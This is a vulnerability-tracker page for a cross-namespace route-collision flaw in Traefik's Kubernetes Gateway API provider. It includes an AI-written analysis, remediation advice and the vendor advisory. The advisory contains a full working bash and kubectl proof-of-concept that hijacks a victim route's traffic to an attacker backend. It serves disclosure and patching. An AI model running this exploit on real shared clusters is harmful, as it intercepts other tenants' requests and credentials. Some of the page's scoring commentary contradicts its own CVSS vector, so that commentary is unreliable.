Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessEnumerate victim namespace and HTTPRoute names via shared cluster
-
DeliveryCraft colliding namespace/route name (e.g., team-a/app vs team/a-app)
-
ExploitDeploy attacker-controlled backend service in attacker namespace
-
ExecutionCreate HTTPRoute with identical hostname, path, and Gateway parentRef
-
PersistTraefik config reload invokes maps.Copy, silently overwriting victim router entry
-
ImpactAll victim traffic redirected to attacker backend
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V6 - Authentication Use of multiple resources in auth
|
| Exploitation Conditions | The attacker must hold Kubernetes RBAC permission to create or modify HTTPRoute or GRPCRoute objects in at least one namespace accepted by the shared Gateway (i.e., the Gateway's allowedRoutes policy permits the attacker's namespace). A shared Gateway that accepts routes from multiple namespaces must be in use - single-tenant or namespace-scoped Gateway deployments are not affected. The attacker must craft or discover a namespace/route name pair whose hyphen-concatenation collides with a victim route's namespace/route name; this is an active prerequisite (AT:P in CVSS 4.0), not a passive one. The attacker must also copy the victim's hostname and path match rule to produce the same router-name hash. The attacker does NOT require read or modify permissions on the victim Route, Service, or namespace. Exploitation is limited to tenants on Traefik v3.0.0 through v3.6.24 or v3.7.0 through v3.7.9 using the Kubernetes Gateway API provider (--providers.kubernetesgateway=true); the legacy KubernetesIngress and CRD providers use different identity schemes and are not confirmed affected by this specific flaw. |
| Impact | The CVSS 4.0 base score of 7.6 with vector AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N reflects high confidentiality and integrity impact, low required privilege, and no user interaction, but is gated by AT:P (attack requirements present) - specifically the naming collision precondition. This distinguishes the vulnerability from a trivially mass-exploitable flaw: an attacker must hold route-creation rights on a shared Gateway and must engineer or discover a namespace/name pair that collides with the victim. In practice, multi-tenant shared-Gateway deployments (the primary deployment model this targets) are common in platform-engineering environments, and the collision condition can be deliberately crafted rather than stumbled upon. The publicly available, fully functional proof-of-concept significantly lowers the bar for exploitation. No CISA KEV entry exists at time of analysis, and EPSS data was not provided, but the combination of a working POC, high impact on confidentiality and integrity (credentials and response data exposure), and wide enterprise deployment of Traefik in Kubernetes warrants prompt patching in shared-Gateway environments. |
| Exploit ScenarioDerived | In a platform-engineering environment where multiple teams share a single Traefik Gateway with allowedRoutes.namespaces.from: All, an attacker with permissions to create HTTPRoutes in the team-a namespace discovers (or engineers) that the victim team/a-app route produces the same normalized key as team-a/app. The attacker deploys a backend pod in team-a returning attacker-controlled content and creates an HTTPRoute named app with the same hostname and path prefix as the victim. Upon Traefik's next configuration reload, maps.Copy silently replaces the victim's router entry with the attacker's, and all subsequent requests to collision.example are served by the attacker backend - exposing authorization headers, session tokens, and response data. A full proof-of-concept bash script reproducing this against the official traefik:v3.7.8 image is publicly available. |
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Alert meAnalysisAIv2 – Aug 06, 2026
Cross-namespace traffic hijacking in Traefik's Kubernetes Gateway API provider allows a low-privileged tenant to redirect another namespace's HTTP, GRPC, TCP, or TLS traffic to an attacker-controlled backend. The root cause is a non-injective route identity scheme: namespaces and route names are hyphen-concatenated without field delimiters, so namespace=team/route=a-app and namespace=team-a/route=app produce the identical key httproute-team-a-app-..., and the later-loaded route silently overwrites the earlier one via maps.Copy. No public exploit identified at time of analysis as a KEV entry, but a full proof-of-concept bash script is publicly available and was verified against the official traefik:v3.7.8 image. All Traefik v3 releases prior to v3.6.25 and v3.7.10 are affected.
Earlier versions of this analysis (1)
Cross-namespace traffic hijacking in Traefik's Kubernetes Gateway API provider (all v3.x before v3.6.25 and v3.7.10) allows an authorized tenant to silently overwrite another namespace's routing configuration by crafting a namespace/route-name combination whose hyphen-concatenated key collides with the victim route's internal identity. Because Traefik's Normalize() function joins fields with hyphens and Kubernetes names may themselves contain hyphens, the construction is non-injective - team/a-app and team-a/app resolve to identical router keys. A fully working proof-of-concept was verified against the official v3.7.8 binary, confirming that creating the colliding attacker route immediately redirects victim traffic, including credentials and authorization headers, to an attacker-controlled backend. No public exploit is confirmed in CISA KEV at time of analysis, but publicly available exploit code exists.
RemediationAI
Upgrade Traefik to v3.6.25 or v3.7.10, the patched releases confirmed at https://github.com/traefik/traefik/releases/tag/v3.6.25 and https://github.com/traefik/traefik/releases/tag/v3.7.10 respectively. The fix changes the hash suffix of generated router names to be derived from all identifying fields (route, Gateway, listener) rather than from the route rule alone, making the key construction injective. Note that the fix changes generated router, middleware, and service names, which are user-visible in the Traefik dashboard, API, access logs (RouterName/ServiceName fields), and Prometheus metrics labels - dashboards and alerting rules matching on Gateway API router or service name patterns must be updated. If immediate upgrade is not possible, a compensating control is to enforce strict namespace and route naming conventions via admission webhooks (e.g., OPA/Gatekeeper or Kyverno policies) that reject HTTPRoute/GRPCRoute names whose concatenation with their namespace could collide with any existing route - this is operationally complex and error-prone, so upgrading is strongly preferred. The patch PR is at https://github.com/traefik/traefik/pull/13580.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 5 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Traefik is a cloud-native reverse proxy and ingress controller commonly deployed on Kubernetes. Its Kubernetes Gateway API provider (CWE-694: Use of Multiple Resources with Duplicate Identifier) constructs router and service identity keys by fmt.Sprintf-concatenating the route kind, namespace, route name, gateway namespace, gateway name, entry-point name, and rule index - all delimited with hyphens - and then running the result through a Normalize() function that replaces non-alphanumeric runs with single hyphens. Because Kubernetes names are themselves hyphen-legal, the construction is not injective: field boundaries are indistinguishable in the output. The makeRouterName function appends a hash of the routing rule (hostname + path), so when an attacker copies the victim's match rule the hash is also identical. Configuration merging uses maps.Copy, which unconditionally overwrites duplicate keys. Affected route types are HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute. CPE: pkg:go/github.com_traefik_traefik_v3 versions >=3.0.0,<3.6.25 and >=3.7.0,<3.7.10.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
AC:H captures the naming-collision prerequisite; PR:L reflects required route-creation permission; S:C because a route in one namespace hijacks traffic scoped to another.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
Lifecycle Timeline
3DescriptionCVE.org
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for HTTPRoute, GRPCRoute, TCPRoute and TLSRoute objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.25
- https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective.
For example, HTTPRoutes team/a-app and team-a/app, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend.
The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules.
Details
The HTTPRoute provider creates a route key as follows:
routeKey := provider.Normalize(fmt.Sprintf(
"%s-%s-%s-gw-%s-%s-ep-%s-%d",
strings.ToLower(kindHTTPRoute),
route.Namespace,
route.Name,
gatewayNamespace,
gatewayName,
listener.EPName,
ri,
))Normalize replaces non-alphanumeric runs with -, but it does not encode field lengths or otherwise preserve component boundaries:
func Normalize(name string) string {
fargs := func(c rune) bool {
return !unicode.IsLetter(c) && !unicode.IsNumber(c)
}
return strings.Join(strings.FieldsFunc(name, fargs), "-")
}These distinct objects therefore have the same normalized key:
namespace=team, route=a-app
namespace=team-a, route=app
httproute-team-a-app-gw-gateway-shared-ep-web-0makeRouterName adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity.
Each Route is built into a temporary configuration and then merged into the provider-wide configuration with maps.Copy:
maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)maps.Copy replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path.
Attack prerequisites
The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace.
Proof of Concept
Prerequisites:
- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;
kubectlconfigured for that cluster;- curl;
- local TCP port 18080 available.
The following script embeds all objects used by the reproduction. It runs the official traefik:v3.7.8 image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.
#!/usr/bin/env bash
set -euo pipefail
kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
name: team
---
apiVersion: v1
kind: Namespace
metadata:
name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: traefik-audit
namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: traefik-route-collision-lab
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: traefik-audit
namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: traefik-audit
namespace: gateway
spec:
replicas: 1
selector:
matchLabels:
app: traefik-audit
template:
metadata:
labels:
app: traefik-audit
spec:
serviceAccountName: traefik-audit
containers:
- name: traefik
image: traefik:v3.7.8
args:
- --entryPoints.web.address=:8000
- --providers.kubernetesgateway=true
- --global.checkNewVersion=false
- --global.sendAnonymousUsage=false
- --log.level=ERROR
ports:
- name: web
containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: traefik-route-collision-lab
spec:
controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: shared
namespace: gateway
spec:
gatewayClassName: traefik-route-collision-lab
listeners:
- name: web
protocol: HTTP
port: 8000
allowedRoutes:
namespaces:
from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: victim
namespace: team
spec:
replicas: 1
selector:
matchLabels:
app: victim
template:
metadata:
labels:
app: victim
spec:
containers:
- name: echo
image: hashicorp/http-echo:1.0.0
args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
ports:
- containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: team
spec:
selector:
app: victim
ports:
- port: 80
targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: a-app
namespace: team
spec:
parentRefs:
- name: shared
namespace: gateway
hostnames: ["collision.example"]
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: backend
port: 80
YAML
kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s
kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
>/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT
for _ in $(seq 1 60); do
RESPONSE=$(curl -sS -H 'Host: collision.example' \
http://127.0.0.1:18080/ 2>/dev/null || true)
if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
break
fi
sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"
sleep 2
kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
name: attacker
namespace: team-a
spec:
replicas: 1
selector:
matchLabels:
app: attacker
template:
metadata:
labels:
app: attacker
spec:
containers:
- name: echo
image: hashicorp/http-echo:1.0.0
args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
ports:
- containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: team-a
spec:
selector:
app: attacker
ports:
- port: 80
targetPort: 5678
YAML
kubectl -n team-a rollout status deployment/attacker --timeout=120s
kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: app
namespace: team-a
spec:
parentRefs:
- name: shared
namespace: gateway
hostnames: ["collision.example"]
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: backend
port: 80
YAML
for _ in $(seq 1 60); do
RESPONSE=$(curl -sS -H 'Host: collision.example' \
http://127.0.0.1:18080/ 2>/dev/null || true)
if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
break
fi
sleep 1
done
printf 'after collision: %s\n' "$RESPONSE"
kubectl get httproute -A --sort-by=.metadata.creationTimestampExpected output on v3.7.8:
before collision: VICTIM_BACKEND
after collision: ATTACKER_BACKEND
NAMESPACE NAME HOSTNAMES
team a-app ["collision.example"]
team-a app ["collision.example"]The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
Impact
In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.
</details>
---
Executive ViewAI
Traefik's Kubernetes Gateway API provider in versions prior to v3.6.25 and v3.7.10 can allow low-privileged users within one namespace to silently intercept and redirect network traffic intended for other namespaces to attacker-controlled systems. Publicly available exploit code exists for this vulnerability, creating immediate risk for organizations running multi-tenant Kubernetes infrastructure where sensitive inter-service communications, credentials, or service availability could be compromised across tenant boundaries.
Apply vendor patch (v3.6.25 or v3.7.10).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
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Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-54299
GHSA-fgjj-px3w-67xx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB